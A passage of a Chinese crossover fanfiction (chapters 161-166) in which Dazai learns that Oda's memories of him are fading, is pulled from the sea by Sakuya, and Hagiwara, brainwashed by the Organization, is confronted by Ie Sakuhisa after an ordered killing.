织田的手机突然响了。 他拿起来接了个电话，听了一会儿后，对着电话那头的人回应道：“……好的，我知道了。麻烦你了，老师，我这就去学校。” 然后，织田便站起身来，似乎就要直接离开。 太宰治先问了一句：“怎么了？” 织田好像突然愣了一下，回头看向太宰治，不知道想了些什么，半天才回答道： “我收养的一个孩子逃课被发现了，他的老师让我去学校谈一谈。” 太宰治应道：“好，那下次再见。” 织田不自然地回了一句“再见”，随后便转身往酒吧外走去了。 不过，织田走得似乎有些许尴尬和匆忙，以至于连随身携带的小笔记本从口袋滑落下来，他都没有注意到。 太宰治弯腰捡起了那个本子。 他记得，从两年前开始织田作之助就一直带着这本子了。 对方曾说过，这是用来在日常生活中随时记录灵感的，写小说能够用得上。 不过…… 太宰治从来没有机会看到里面的具体内容，所以也就不确定这里面到底写着什么。 只是之前不止一次，他有见到织田在翻看本子，但当他凑过去的时候，织田就立刻把它匆匆合上收起来了。 显然对方不想让他知道本子里的内容。 太宰治的目光放在这个本子上，用手轻轻擦了下它封皮因刚掉落在地而沾上的灰。 很难得有这样的机会。 ——现在它就放在他面前，打开偷偷看几眼，然后再追上去还给织田作就行。 只要动作快一点，织田作应该不会发现的…… 而太宰治却沉默着一动不动。 他想起了刚才在群里和艾尔菲的对话。 是啊，不要对别人的秘密追根究底，有时候知道得越多便会愈发痛苦。 虽然……他早就已经猜到织田作在隐瞒他什么了。 只是这两年来，他一直装作不知道而已，就这样继续延续下去直到再也无法维系，其实也没什么不好，对吧？ 短短的数十秒内，太宰治思考了很多的事情。 但他也很快便做出了选择。 他没有翻看本子，而是拿着它出了酒吧，往外快步追了上去。 不知道是幸运还是不幸…… 织田作之助这时候还没有走得太远。 太宰治没多久就远远地看到了对方的身影，再次加快步伐赶了上去，喊道：“织田作，你的东西忘拿了……织田作……” 他喊了好几声。 酒红色头发的青年才迟钝回过头来，露出有点茫然的神色，问道： “不好意思，你是……坂口安吾的朋友太宰君，对吧？” “请问织田作这个称呼，是在叫我吗？”【你现在阅读的是 】 160-170 第161章 突兀地听到这样的话，太宰治失神了片刻，心脏仿佛都在一瞬之间停止了跳动。 织田作在说什么…… 这些话是什么意思？为什么要这么说？ 他差点想这样直接问出来。 但是看着红发青年茫然的、努力思考回忆却怎么都记不起来的样子，太宰治逐渐恢复了冷静，连血液似乎也慢慢凉了下来。 他先前难道没有想过可能会发生这样的情况吗？ 不是的，他早就有所预料，只是……一直在自欺欺人地逃避而已。 太宰治将拿着那个本子的手放低了下去、藏在自己的身侧。 他紧紧地用力握着它，面对着织田的脸上却露出了平和的浅笑： “不好意思，织田……先生，是我喊错了。” 织田作之助愣了一下。 虽然他觉得织田作这个称呼有点奇怪，平常也从来没有人用这种奇怪的断句喊过他。 但是，在听到眼前的青年喊他织田先生的时候，他却意外地更加觉得不习惯。 织田想了想，试探性地问：“你叫住我是干什么？我们……” 他有点不知道该怎么说。 如果对着不熟悉的人，突然说觉得你很眼熟，我们是不是认识……这样的话，会不会太奇怪了？ 毕竟怎么想，他们之前也不可能有多熟。 他少年的时候当过杀手。在有了成为小说家的梦想之后，他决心不再杀人，转而做着运送危险货物的工作。 然而却意外遇上了大麻烦，幸好当时意外结识了坂口安吾，所以才得以摆脱麻烦、实现了写作的梦想。 回想过去的人生经历，怎么也不记得有跟太宰治这样的人打过什么交道。 顶多就是借着安吾的关系，和太宰治曾经有过几次见面而已。 这很正常。 听说太宰治曾经是港口黑手党最年少干部，声名显赫，平常人怎么能够结识得了他？ 甚至大多数人都无法理解他，就像是无法理解和自己种族不同的生物。 没人知道这个黑手党的黑色幽灵整日在想什么。 为什么那么聪明地能够随意掌握所有人的心思，为什么天天想要自杀却一直没死掉，为什么轻轻松松就能赚得巨额财富却要住在集装箱里…… 所以，太宰治某天莫名其妙地突然叛逃了，很多人也只是短暂地惊讶了一下，便没有多去在意了。 他们只当太宰治是无聊了，想要给自己找个新奇的乐子而已。 不过，太宰治艰难洗白用了两年时间，后来四年多又在侦探社一直待着。看起来真的好像是在认真当一个好人了。 其他人才越来越感觉不可思议。 可是，谁又能知道太宰治在想些什么呢…… 织田作之助想着这些他曾听过的关于太宰治的传闻，有点不知所措地看着眼前的青年。 “我……”太宰治顿了顿，语气正常地道：“我是你的读者，很喜欢你写的书。” 织田有过许多次签售会。 所以这种类似的话，他也听别的人说过很多次了。 但是，可能因为这次这么说的是一个意想不到的人，织田稍微不太自然地回应道：“谢谢……” 这时候，织田的目光不经意地瞥到了太宰治拿着的笔记本，他问道：“那个，你叫住我是因为……想要签名吗？” 太宰治犹豫了一下，还是点了点头，将那个刚才被他没把握好力气、捏得有些皱了的本子递过去，说道： “签在封面就可以了。” 织田拿出随身携带的笔，熟练地签好了自己的名字。 不过…… 说起来，这个本子似乎有点眼熟？ 签好了名字后，织田不由得仔细打量着这个本子，不确定地想着。 他突然很想打开本子看一看，总觉得里面有什么重要的内容，是自己忘记了但又必须得记住的…… 但是这时，太宰治却忽然伸手从他这里将这个本子拿了回去。 太宰治笑着对他说道：“谢谢了，织田先生。” 织田回过神来，有点不好意思地回应道：“没关系。” “对了，你还有事要忙吧？” 太宰治主动提醒他道：“那我就不打扰你了。” 虽然织田心底莫名觉得好像有什么重要的事情忘了，但是他始终想不起来，还感觉自己的想法很奇怪又没有道理，便也只好应道： “那……再见。” “再见。” 太宰治向他挥了挥手：“我很期待织田先生的下一部作品，请一定要好好写下去。” “我会的。” 织田点了点头，回应完便迈步离开了。 只不过他却变得有些心神不宁。 已经与太宰治告别了，他却还一直想着刚才与对方的交谈，连自己也不知道自己到底在挂念些什么。 很奇怪…… 自己真的没有忘记什么重要的事情吗？ 而留在原地的太宰治则一个人在街头默默站着。 他什么也没有做，也没有望向织田作之助离开的方向，仿若只是在安静地发呆，脸上的表情平静到有些冷淡。 不知道过了多久之后，他才再次动了，不再像一个雕塑一样。 太宰治拿起了手里的本子，目光放在它上面，将其一页又一页地缓缓翻开…… …… 本子上用织田作的字迹写下的内容，太宰治都很熟悉。 ——毕竟全都是关于他的事情。 里面讲述了曾经他们第一次见面时的场景，从认识到熟悉的经过，一起在Lupin酒吧闲聊的过往，织田作当年的死亡，还有在四年后因太宰治的缘故而重新复活…… 织田作之助发现自己的这些记忆在逐渐消逝，取而代之的是这个他本身没有死去、也没有结识太宰治的‘事实上的记忆’。 所以，他用笔将其全部记了下来。 第162章 为了不忘记太宰治，织田作之助两年来一直将本子携带在身上，方便随时翻看记忆。 但事情并没有那么简单。 记忆流逝的速度越来越快，曾经印象鲜明的过往一点点变得模糊，而被覆盖的另一段新的记忆则逐渐清晰、真实得仿若曾经真的是这么过来的一样。 当然，有无数的证据能够确认这新的记忆才是真实的，反而他怎么都没办法证明那虚无缥缈的过去到底是否存在。 织田想要留住过去的这些回忆，或是在太宰治面前尽量不露破绽…… 他便只能非常艰难努力。 他在本子上记录了很多注意事项。 包括但不限于，对太宰治本人的了解，和太宰治交谈时该聊什么话题，平常与太宰治相处的习惯，自己应该知道的他们的那些过往…… 字里行间都在努力提醒着自己。 ——不要忘记。 本子虽然不算大，但里面的内容却很多，字迹密密麻麻的，字数似乎都足以出一本小说了…… 而太宰治就这样站在街上，一页页慢慢地认真地看着上面的一字一句。 直到翻看完最后一页后将本子合上，他微微垂下了头，掩盖住自己眼底的神色，随后轻轻地叹了口气。 难受复杂的情绪当然是有的，但此刻他却没怎么多想自己的事情，最主要的念头还是…… 织田作这么做也太辛苦了吧。 真是的…… 如果还保存着过去记忆的织田现在站在他面前，太宰治估计就要忍不住抱怨对方实在是太笨了。 为什么要这么艰难又麻烦地做这些事情呢，为什么要徒劳地一遍又一遍违背世界线的修正呢，那么辛苦却终究还是无法永远维系下去…… 这样的行为，也就只有织田作做得出来吧。 不过……或许自己比织田作还要愚笨。 很久之前他就发现了无数的蛛丝马迹，明明有很多次机会可以戳穿对方并不高明的伪装，让对方不必再这样辛苦下去…… 但他却始终没有这么做。 只是跟个胆小鬼一样逃避着，装作自己什么也没有察觉。 真是太可笑了。 他早就该像刚才那样做了，早就该放过对方了，拥有那些记忆根本一点用也没有！ 为什么要让织田作一遍遍回忆过去的记忆？那样痛苦的过去和死亡全忘掉才是最好的。 ……曾经和他的结识也没什么好记住的。 他想要帮助织田作解决当时的麻烦，却意外将织田作拉入了一个更糟糕的处境。现在想来，如果当时织田作遇到的是别的人就好了。 幸好…… 现在也还算不太晚。 太宰治深吸了一口气，竭尽全力将自己的心情平复下来。 被修正后的世界线，完全是织田作梦想中的那样——收养的孩子们好好活着，可以随心所欲写着自己想写的小说，不再需要因为别的事而烦心。 只需要把过去那些碍事的记忆忘掉就好了。 从今往后，织田作一定能够更好地活下去，不再有任何负担…… 这是一件很值得开心的事情，不是吗？ 太宰治认为这个问题的答案是肯定的。 于是，他努力地轻轻扬起了一抹笑容，虽然表情还有点无力僵硬，但他知道自己很快就能调整好的…… 总是能够调整好的。 就像那天一样…… 太宰治忽然想起了——六年前织田作刚离世不久时，他对未来的道路有些迷茫，然后莫名其妙去海边准备尝试入水的那一天。 当时，有一个人不动声色地拦下了他。 他也是因为对方，而下定了决心走向光明的，毕竟不想输给那个多管闲事、自己想死还要将别人劝走的人。 太宰治忍不住起意，用只有自己能听见的声音轻轻地喃喃道： “为了庆祝织田作拥有新的美好生活……今天就去入水试试吧。” …… 横滨的海水一如既往的寒冷，不过今日仿佛比往常要更冷上一些就是了，也不知道是不是心理作用。 黑发青年静静地闭眼躺在海里，发丝在水中散开，衣服也吸足了水分，身体随着海浪的波动而自然地起伏着。 看起来很像是一具浮尸。 不过仔细观察就能发现，青年还有着呼吸和心跳，甚至他的意识也是清醒的。 而他却似乎毫不在意自己将被海浪席卷着飘向何方。 偶尔会有一股较为汹涌的海浪将他托起，又极速间将其拉回，冰冷的海水窜入他的口鼻，带来一阵咳嗽和窒息感。 但即使是这样的侵扰，也无法打破他的宁静。 他一直闭着眼，不关注周围的任何动向，感觉就算是下一刻死去也无所谓了。 如果他一直保持着这样的状态，在大海中死去确实也是很可能会发生的事情…… 但是这时候，竟然却有其他人出现在了这鲜有人迹的大海上。 太宰治感觉有人触碰到了自己，对方悄无声息地出现在这附近，便立刻一言不发地从海浪中拉住了他的衣服，将他往海岸边带去…… 这时他才终于舍得睁开了眼，看向眼前这个人。 果然，是朔夜。 对方的衣物和发丝也被打湿了一部分，但她没有表现出什么不悦的情绪，只是跟平常一样沉默寡言。 到了岸上，太宰治半坐在沙地上。 他刚想张嘴说话，冷空气便直直窜入喉咙里，让刚才便呛了好几口水的他忍不住咳嗽了起来…… “咳咳、咳咳咳……” 真的是狼狈极了。 然而，太宰治在缓了一会儿后，却又下意识地维持了一个让人捉摸不透的浅笑，以此将自己真实的情绪遮掩起来。 他对着眼前的白发少女问道： “两年前在东京湾，把我从海里救起来不是丘比、而是你，对吧？” 第163章 白发少女怔了一下，似乎没想到刚把这家伙从海里捞出来，对方的第一句话居然是问她这个问题。 ……这个问题重要吗？ 太宰治曾经入水的次数很多，国木田和中岛敦应该也捞过对方不少次吧，没什么稀奇的才对。 她沉默着思考自己该怎么回答。 太宰治先仿佛自言自语地又开口了：“反正肯定不是丘比。我当时还不算彻底失去了意识，隐约感觉到是有人将我带上岸的。” 朔夜不禁问道：“……那为什么觉得会是我？” 当初那个时候太宰治还没有签约成为津岛，所以朔夜没有理由接触他。 而且，她救完人就默默离开、换丘比来接触对方这种事情……听起来会比较奇怪。 伊江朔久有点怀疑太宰治是不是知道了什么，才会这么问。 太宰治却没有直接说明，而是问道：“松代悠衣她们都在找你，你这些天一直避着她们，为什么现在突然出现在这里救我？” “……” 伊江朔久知道自己很难在太宰治面前糊弄过去了，但还是不想试都不试就干脆利落地认输，于是还是说道： “意外碰到而已。” 太宰治看了一眼周围寂静无人的环境，再回头对她缓缓地眨了眨眼道：“在这种地方意外偶遇？” 朔夜：“……” “你总是在这种关键时刻紧急出现呢。不论在什么地点和情况下都一样及时，这不可能永远都是巧合。” 太宰治陈述着：“所以，你有办法能够感知我们是否遇到危险。” ……确实如此。 但伊江朔久向来擅长面不改色地说谎：“……是吗？你曾经自杀那么多次，我也没来救过你吧？” 太宰治虽然不太想承认，可此刻还是说了。 “因为我之前的自杀没那么容易会真正死掉，而这次主要是……” 他将自己波洛领结上的灵魂宝石取下来，对着月亮的方向，把它举在了空中。 当然，这不是潘多拉。 在月光的照耀下，它不会发出红色的光芒，生出宝石的泪珠。 太宰治这么做只是为了让他们把这个宝石看得更清楚一点。 ——经过今晚格外皎洁的月光透射，原本琥珀色的宝石显得稍微漂亮了一些，但还是和往常的模样没法比。 因为，黑色杂质此刻已经占据了宝石内部的一大半，看起来格外醒目和碍眼。 “之前这里面的杂质便仿佛永远无法完全去除干净，不过从来没有像现在这个样子呢……如果灵魂宝石全变黑了会发生什么呢？” 不知道是不是错觉，在太宰治说这句话时，宝石中的黑色似乎又蔓延了几分…… 伊江朔久没办法再看下去了，拿出了一颗悲叹之种，毫不犹豫地将其贴在了对方的灵魂宝石上。 太宰治愣了一下。 伊江朔久却只是盯着那个宝石观察。 里面的杂质被吸走了不少，可是却还是显得很不正常。 宝石始终无法恢复得像往常一样，甚至它即使透彻了些之后，还在慢慢地重新变黑。 于是，伊江朔久只得又拿出了一颗悲叹之种。 这一次，太宰治提前反应过来了，拦住了对方：“太浪费了吧，没必要的。” 白发少女语气微沉道：“既然知道浪费，你就不要再胡思乱想了。” 说完，她还是将那颗悲叹之种也贴到了太宰治的灵魂宝石上。 以两颗悲叹之种全部消耗殆尽为代价，那颗琥珀色的宝石终于恢复得正常了些，不再是以黑色为主导。 伊江朔久终于悄悄缓和了点心情，随后问道：“你到底在想什么？” 太宰治沉默了会儿，说道： “这个世界上，越是想要紧紧握住的东西，越会像沙子一样反从手中泄落。不管曾经得到了多少，最终都会在某天消逝。” 突然说这样的话，听起来实在有些莫名其妙。 但伊江朔久却立刻明白了他想要说什么，顿了顿，语气不明地回复道：“……但至少曾经拥有过吧？” “怎么证明得了呢，记忆真是个不牢靠的东西，你能够理解吗？” 太宰治一说完就意识到，这样太强人所难了。对方不知道前因后果，甚至可能连自己在说什么都听不太懂。 他改口说：“算了……” “我理解。” 白发少女垂下眸，先行回应道。 太宰治闻言，哑然了片刻，随后不置可否地说了一句：“是吗。” 伊江朔久是猜到大概发生什么了。 虽然伊江朔久和织田作之助并没有多熟，甚至根本没见过对方多少面。 但是见过了萩原研二的事情，织田作之助可能会受到的影响自然也不难猜测。 不过，本来太宰治和这个世界之间的联系就像蛛丝一样脆弱。 而现在当他过去重要的经历也被抹去之后，就让人感觉其存在比原先更显得虚无缥缈。 第164章 伊江朔久暂时无法解决萩原和织田那类的问题，只得想了想，换另一种方式来隐晦地安慰对方： “就算失去的东西无法追溯，但是人生向来是在不断的失去与得到中前进，为什么不去在意眼下得到的东西呢？” 太宰治想到了这几年来的经历。 来到武装侦探社之后，和丘比签订了契约之后……他的生活逐渐朝着一个奇怪的方向发展。 不管是哪个身份，每天都在做些标榜着正义与光明的工作，还拥有了几个同为魔法少女的同伴，常常会被一大堆麻烦的粉丝追捧…… 但久而久之，他居然也慢慢习惯了，甚至偶尔还会觉得有点意思。 确实，自己没什么可挑剔的…… 能复活织田作就已经是奇迹中的奇迹了，还想要对方保留那些不必要的记忆，听起来实在是够贪心的。 但是…… 太宰治轻轻叹气道：“你说的是有道理，但光是看到失去的东西、应付新的变化就已经让我很累了。” 他已经从无数的蛛丝马迹之中，发现了关于魔法少女的许多骗局，预见在不久的未来、目前的生活便可能很快发生翻天覆地的变化。 如今所得到的一切，或许都会在真相揭晓后化为灰烬。 到那时候，还要努力让自己振作起来、去期望未来可能得到的新的重要之物吗？ 想想就觉得这太累了…… 还不如早点踏上黄泉比良坂，迎来永恒的安眠呢。 “契约的愿望实现了之后，就不会再收回去了对吗？” 太宰治扯出一丝笑容：“那么，就算我现在成功自杀死掉也没什么关系了吧。” 伊江朔久摇了摇头，开口道：“有关系的……有许多人不希望你死，况且不一定所有的事物都会失去。” 太宰治的话语让伊江朔久有种似曾相识的感觉。 这种感觉，很令人担心对方会不会突然陷入绝望，将好不容易才恢复回去的灵魂宝石一下子全部染黑…… 那时候就无可挽回了。 所以，白发少女都没能很好地维持往日的演技与理性，不由得道：“我不会忘记你的。” 太宰治顿时怔住了。 伊江朔久说完后也顿了下，随即看向对方的灵魂宝石。 还好……其实目前宝石还没有重新黑回刚才的样子。 太宰治忽然感到有些别扭，说道：“我刚才的话只是开个玩笑而已，没必要当真。” 伊江朔久也恢复了平静道：“你没事的话就回去吧，现在已经很晚了，明天说不定还有处理魔女的工作。” 太宰治迟疑了下后点点头，拿出了自己的那本《女生徒》。 但在使用它之前，太宰治先看向白发少女那边。对方仍待在原地、无声地与他目光相对，似乎是准备等他离开了这里之后再走。 相似的地点、相似的氛围…… 太宰治心里一动，紧接着便说出了口：“伊江君，你当初是为什么想要死呢？” 伊江朔久：“……？” 虽然自己在太宰面前的掉马也算是早有征兆了，但这么突然来一句还真够恐怖的。 该说不愧是剧本组吗？ 看见面前的白发少女停顿了下没有及时回答，太宰治便笑了笑道：“看来我猜对了。好了，现在我们互相知道了对方的身份，也算是打平了吧。” 伊江朔久现在突然很想离开这里了。 跟这家伙待久了，确实很容易会被套话，自己不应该放松一点警惕的。 太宰治倒也不在意她的沉默，自顾自地继续道：“我一直很好奇，你当初明明是下定了死亡的决心，可是为什么却能够坚持活到现在？” 伊江朔久本来很想直接转身就走的，但是想了想，说道：“你能活下去的话，就总有一天能够明白的。” “这算是给我画饼吗？” 太宰治无奈地问了句。 接着，他一边回忆着两年前在预言魔女的幻境里所见的情形，一边说道： “我觉得……你如今这样也够辛苦了。或许某天你会发现这样坚持下来，最终还是不会有任何意义，然后理解我现在的想法。” 伊江朔久：“……或许吧。” 太宰治忍不住道：“等你想要结束掉这一切的时候，也叫上我吧。” 伊江朔久倒也没有说别的什么，只是道：“那么在这之前，你就先活下来。” 太宰治有些无话可说。 真是跟那个时候一样…… 这家伙依旧这么烂好心地喜欢多管闲事。 但他也应下了，对未来不报什么希望地道：“好，我不会输给你的。” 毕竟，已经在幻境里见证过了那样的未来。 ——数量恐怖的魔女席卷城市，噩梦般满目疮痍的场景，即使有向过去的自己传话的机会、也觉得没有必要的魔法少女，还有一箭直接杀死丘比的朔夜…… 这样的未来真的有意义吗？ 似乎不会有任何值得期待的答案。 …… 离开之后，又想办法观察了太宰治几天，伊江朔久才慢慢暂时放心下来。 而这时候，他也正巧收到了关于萩原研二的情报。 ——萩原研二决定彻底回到组织之后，经历了一些拷问和调查，组织没有揪出他的什么问题，但也不可能随随便便就对他放松警惕。 于是，萩原研二近期都在执行组织的基层任务，他也只能通过这样的方式逐渐重新拿回一些信任。 这样的情报看上去还真够糟糕的。 仿佛萩原研二已经深陷组织洗脑之中，完全难以自拔一样。 但伊江朔久却察觉到了疑点。 ……之前的萩原一直隐瞒得还算好，而且这两年来他肯定也有想办法，努力对洗脑的记忆做抗争。 不可能就这样突然彻底转移到组织阵营那边去吧？ 第165章 萩原研二正在执行组织的一次交易任务。 任务的具体内容、前后经过、重要与否……他都不算怎么了解，当然也并不需要他去了解，这些主要是由组织的代号成员去做的。 他需要做的只是跟在代号成员身后，听从其指示，然后…… “杀了他，然后把尸体处理干净。” 面前的身材壮硕的黑衣男子侧过头来，对萩原研二吩咐道。 萩原研二低头顺从地应道：“是。” 听到这种话，旁边那个靠着墙半躺在地上、满身伤痕的中年男人慌乱起来，立刻语无伦次地哀求道： “不、不是说，只要我说出你们所需要的情报，你们就能够放我走吗？为什么说话不算数？求求了，我还有价值的，我可以加入你们、可以帮你们做事……” 但那个黑衣男子没有什么反应，甚至连一眼都懒得看这种家伙。 他将收尾的事情交给萩原研二之后，便转身向外走去，其他两个基层成员也跟着他离开了这里。 于是，这座废弃的仓库之中，只剩下萩原研二和那个中年男子两人。 灭口这种事情，确实只需要一个人来做就行。 对方本身就没什么武力值，刚才还经历了严刑拷打、已经是伤痕累累，而萩原研二手上拿着枪，想要解决掉对方完全是轻而易举。 中年男人看着他手上的枪，吞了吞口水，颤抖地哭着说： “求求你，放了我吧。我只是想活着，仅此而已……” 看见萩原研二默不作声地站在原地，似乎在犹豫纠结着什么的样子。 他不由得燃起了一点希望，连忙接着乞求道： “拜托了，我真的不能死，我还有家人需要赡养。你只需要当作没看见我就行，我、我保证不会连累到你的。还有，今后我一定会想办法报答你的……” 如果在这里将这个人放走，不管后续怎样，萩原研二都绝对脱不了责任。 组织如今本来就对萩原研二比较关注，正是不放心他、准备考验他的阶段。 所以，萩原研二执行过的所有任务都会被人反复审查。 万一被挑出什么问题来…… 目前萩原研二已经主动离开了伊江朔久那里，自己要求回到组织接受任务。 组织要是发现他并不忠诚，在他执行任务的过程中使点手段，让他死于意外就是再简单不过的事情了。 况且，萩原研二知道眼前这家伙不是个好人。 对方听命于和组织做交易的另一个犯罪团伙，干过许多罪行，害死过不少无辜者，是个恶贯满盈、罪该万死的人。 杀死这样的一个人，某种意义上也算是做了件好事。 拥有过去杀人的记忆、潜意识里还对组织有着归属感，萩原研二自然也不会因为心软而下不了手。 只是…… 他想着过去成为警察时的誓言、想着自己重要的朋友和家人…… 死而复生之前的那些犯罪经历都不是他凭借自身意愿做的，甚至不能算是他本人做的，但是现在却完全不一样。 萩原研二清楚地知道如果自己真的亲自动手杀人了，即使杀的是坏人，那也算是踏过了某道看不见的界限，有什么重要的事情就会因此改变。 或许以后就无法再回到过去了，再也无法成为警察，再也无法心安理得地和身为警察的姐姐与小阵平相处了…… 萩原研二忽然露出了一抹苦笑。 自己到底在想什么呢？ 早就没办法回到过去了，不是吗？ “抱歉。” 说罢，萩原研二便举起了手中的枪，将枪口对准眼前的中年男人。 对方顿时露出了惊恐的表情，张着嘴一句话也说不出来。 不过，就在萩原研二扣下扳机之前，便已经有一声枪响提前出现了。 “砰——” 中年男人额心中枪，就这样直直地向后倒了下去…… 萩原研二愣了一下，本能地先看了眼自己手中的枪，然后又立刻意识到情况，迅速回头望去。 远处是一个熟悉的人。 白发青瞳的青年坐在轮椅上，也正望向这边。对方给人的感觉依旧温和孱弱，如果忽略掉他手上拿着的极具割裂感的枪的话…… 萩原研二感到有些诧异。 并不是因为伊江朔久拿枪干脆利落地杀掉了那个人。 在先前他逐渐和组织加深了联系之后，他就意外从别人那里得知，伊江朔久其实并不简单。 对方那什么因为家里和组织有密切关系、才不得不待在组织的话都是骗人的。 其实，伊江朔久在组织里的地位完全就是因为他本人，组织里元老级的成员皮斯克和他根本没有关系。 这样满口谎言、足够有实力能拿捏组织的人，能够开枪杀人并不出奇。 让萩原研二惊讶的主要是…… 他忍不住问道：“你为什么会出现在这里？” 这次任务行动并没有什么提前的消息，这个废弃仓库所在的地方又比较偏远，伊江朔久一个不良于行的人，能及时赶到这么远的地方应该是不可能的吧。 伊江朔久侧头示意了一下，说道：“我拜托基尔小姐送我来的。” 仓库入口走进来一个黑发蓝眼的女子，站在了伊江朔久身旁不远处，朝他点了点头。 萩原研二不知道该说什么好了。 之前经常跟伊江、松田还有降谷零他们一起商量着针对组织的计划，所以他早就从伊江那里得知了基尔是CIA的卧底。 如今看她和伊江这么熟，萩原研二也是更加确信了自己的想法——虽然伊江欺瞒了他们很多事情，但一直在帮忙的心却不是假的。 毕竟在组织卧底了这么久的基尔，肯定清楚伊江的不少真实情况，而她如今依旧愿意帮助伊江。 只不过…… 伊江朔久应该已经猜到，他现在受到洗脑的影响在为组织效力了。 为什么还要冒着这样的风险主动过来找他？ 第166章 伊江朔久主动对萩原研二道：“要谈谈吗？” 萩原研二迟疑地问：“在这里？” 刚才的那几个组织成员从这个废弃仓库离开还没过多久，伊江朔久和基尔就过来了。 虽然目前他们是没被组织的人发现，但要是他跟他们在这里多逗留一会儿，说不定就会引起组织的怀疑了。 伊江朔久点了点头，像是想到了什么，侧头对基尔说道：“基尔小姐，我和萩原聊聊，能麻烦你去外面等我们一会儿吗？” 基尔应道：“没问题，有事情随时电话联系我。” 萩原研二：“……” 他也不是这个意思。 不过，基尔出去守着确实更安全些，能够实时注意到外面的情况。 但是……萩原研二还是说道：“你一个人留在这里？不担心我会趁机挟持你、把你交给组织吗？” 他故意这么说，是为了让伊江朔久多一点警惕心。 说实话，他现在自己都没办法相信自己了，怎么还能让其他人来相信自己呢？ 萩原研二绝对不想看到，其他人因为相信自己而遭到危害这种事情发生。 然而，他故意说出的这种话却没什么用。 不仅伊江朔久没有在意、只道了句“不担心”，连基尔都没什么停顿、直接当作没听见似的出去了。 萩原研二有点无力感。 什么啊？ 自己的演技难道这么差的吗？ 可不管怎么说，伊江朔久应该不可能不知道他现在在受洗脑的影响吧？ 萩原研二忍不住说道：“我什么事情都可能做得出来的。为了组织，我曾经做过很多事，杀过人也放过火……出卖你们也不算很难的事。” 听到这些，伊江朔久却没有如萩原所愿的远离他。 反而，对方像是觉得他在自黑一样，露出了有点替他难过的低落神情：“别说这些话了。” 这算什么啊…… 萩原研二有些控制不住语气道：“我没有在骗你，更不是在开玩笑！” 他说这些话确实也不单单是为了恐吓对方。 萩原研二的确早就在担心这种事发生了。 甚至现在，他也有这种想法和冲动，觉得自己不应该再这样警告对方，而是应该直接将对方挟持交给组织，或者直接替组织杀掉这个叛徒。 这样继续跟对方聊下去，不就是对组织的背叛吗？ 萩原研二紧紧攥着手里的枪，心里莫名的烦躁，偶尔真的很想举枪射击，来直接将这场对话终止。 但理智始终拉着他，让他一直在忍耐着心里的这些冲动。 为什么对方就不能识趣地躲着他走呢？ 萩原研二微微垂了下头，拿着枪扣动扳机，对着伊江朔久不远处的地上射了一枪。 “砰——” 他语气尽可能地冷下来：“下一枪，我可能就会瞄准你的头部了。” 都已经说到这种程度了……萩原研二想着，对方总能够明白他已经变得和过去不一样了吧。 伊江朔久停顿了片刻，却说道：“虽然我想说那样也没关系，但是你不会那么做的。” 萩原研二无奈至极，真的不知道自己究竟还应该怎么做才能让对方死心，怎么会这么难啊…… 事到如今，他几乎气都气不起来了。 果然，从两年前第一次见到伊江朔久直到现在，他还是总没有办法完全理解对方的很多行为，对方始终就像是一个难解的谜。 萩原研二直接不明白地问：“为什么这么觉得？” 伊江朔久温声解释道：“明明你已经回到组织里了，却始终没有泄露关于我和松田还有降谷他们的任何情报，也没有破坏我们破灭组织的计划。即使面临这样糟糕的处境，也还会想着离开我们、不连累其他人……” 萩原研二所做的这些确实很明显了。 虽然他是很努力地想表现出一副受控于组织的样子，但是说到底，他再怎么样也不可能真的让他们遇到危险。 在意和重视是很难被掩盖住的。 ……看到萩原研二如今的表现，伊江朔久也算是知道自己那么卖力地希望其他人能够厌恶朔夜，可为什么却很难做到这点了。 伊江朔久根本没办法对这样的萩原心生警惕。 就连萩原研二刚才的举动和话语，在他听起来都只像是在主动推开其他人，努力劝说道：‘放弃掉我吧。’ 所以，伊江朔久也试着尽量传达给对方：‘不用担心。对我们而言，你并不危险。’ 听完伊江朔久的这些话，萩原研二也确实知道自己是解释不了了。 他轻轻叹了口气：“……小伊江，你就不能别管我吗？” 伊江朔久怔了怔。 这种话貌似有点耳熟。 果然还是因果循环、报应不爽，很多年前他好像就对萩原说过同样的话，如今也是被没有那时记忆的对方反问给自己了。 他心情有点莫名复杂，很快又收回思绪，对萩原说道： “你是想要一个人承担这些吗？可是，就算我能够做到不去干涉你，松田和其他人也迟早会找到你的。” 这说的也是。 萩原研二知道伊江朔久的话有道理。 但是……他又能怎么办呢？ 看到萩原难以决策的样子，伊江朔久便提议道：“直接开启之前商量好的最终计划，抓紧时间将组织破灭就好了，后面可以再慢慢想办法解决你的情况……” 听到破灭组织这样的话，萩原研二本能地脸色变差了些。 他勉力压制下自己不应该有的负面情绪，还是说道：“不行。” 伊江朔久还想开口再说些什么。 但萩原研二抢先道：“我这么说，不是因为组织洗脑的影响。” “你肯定也能理解吧？” 说这些话的时候，萩原研二感到心里好像压着什么沉甸甸的东西，让人感到一阵阵强烈的抽痛，并逐渐难以呼吸…… 但是，他还是艰难地勉强自己说了出来：“我们明明半年之前就有把握可以瓦解掉组织了，为什么会选择拖延到现在呢？” 伊江朔久无言。 是的…… 从实力来看，魔法少女即使人数不多，但是她们完全能够轻松对抗比组织更强大几倍的势力。 而且她们现在所得到的名气、结交到的合作伙伴也不是组织可以比拟的。 但现实不是简单的回合制游戏。 组织成员不可能都待在一个地方来方便她们找到，也不可能那么正大光明地跟她们正面对抗…… 组织的BOSS是一个活了上百年的怪物，能够将一个这么庞大的组织经营这么久，他当然惜命又谨慎，懂得小心驶得万年船。 组织的势力遍布全球，暗中在全世界的政界、经济界和科学界里操控了许多人物，支配着各种大规模武器装备。 尽管这两年多以来，伊江和降谷零他们已经掌握了组织的许多关键情报，找到了组织几个至关重要的基地，有把握能够一举击溃组织。 可是…… 如果他们采取行动，还是会造成不小的伤亡。 组织临死前的反扑能够威胁到无数无辜民众的性命，其余没被抓捕到的组织成员有的会更加小心地躲藏起来，有的则会向社会疯狂展开报复。 而且，人总是贪心的。 任何人都不例外，包括他们和日本公安的那些人。 在还没有解决组织的方法时，他们期盼着尽快处理掉组织。现在有绝对的把握之后，他们又开始犹豫了…… 还需要再多做些准备，还有更好的解决时机，还可以让损失尽量缩到最小化，尽可能从中拿到更多利益，更好地保障公众的生命安全。 这些都需要更多的时间。 萩原研二脸色发白，勉强地笑了起来：“就按照原定计划的那样，再等一等吧。组织已经在这个世界深深扎根了近百年，要想尽可能减小影响地将其连根拔起，就不要太过心急。” 伊江朔久明白这些道理。 但他也知道，萩原目前的情况坚持不了那么久…… 要是想以大局为重的话，就要放弃掉对方。 伊江朔久艰难开口：“……我可以带你回去，把你安置在一个安全的地方，不让组织找到你，也不让你回到组织。” 萩原研二为对方话里的内容沉默了好一会儿，还是说道：“这样维持不了多久的。” 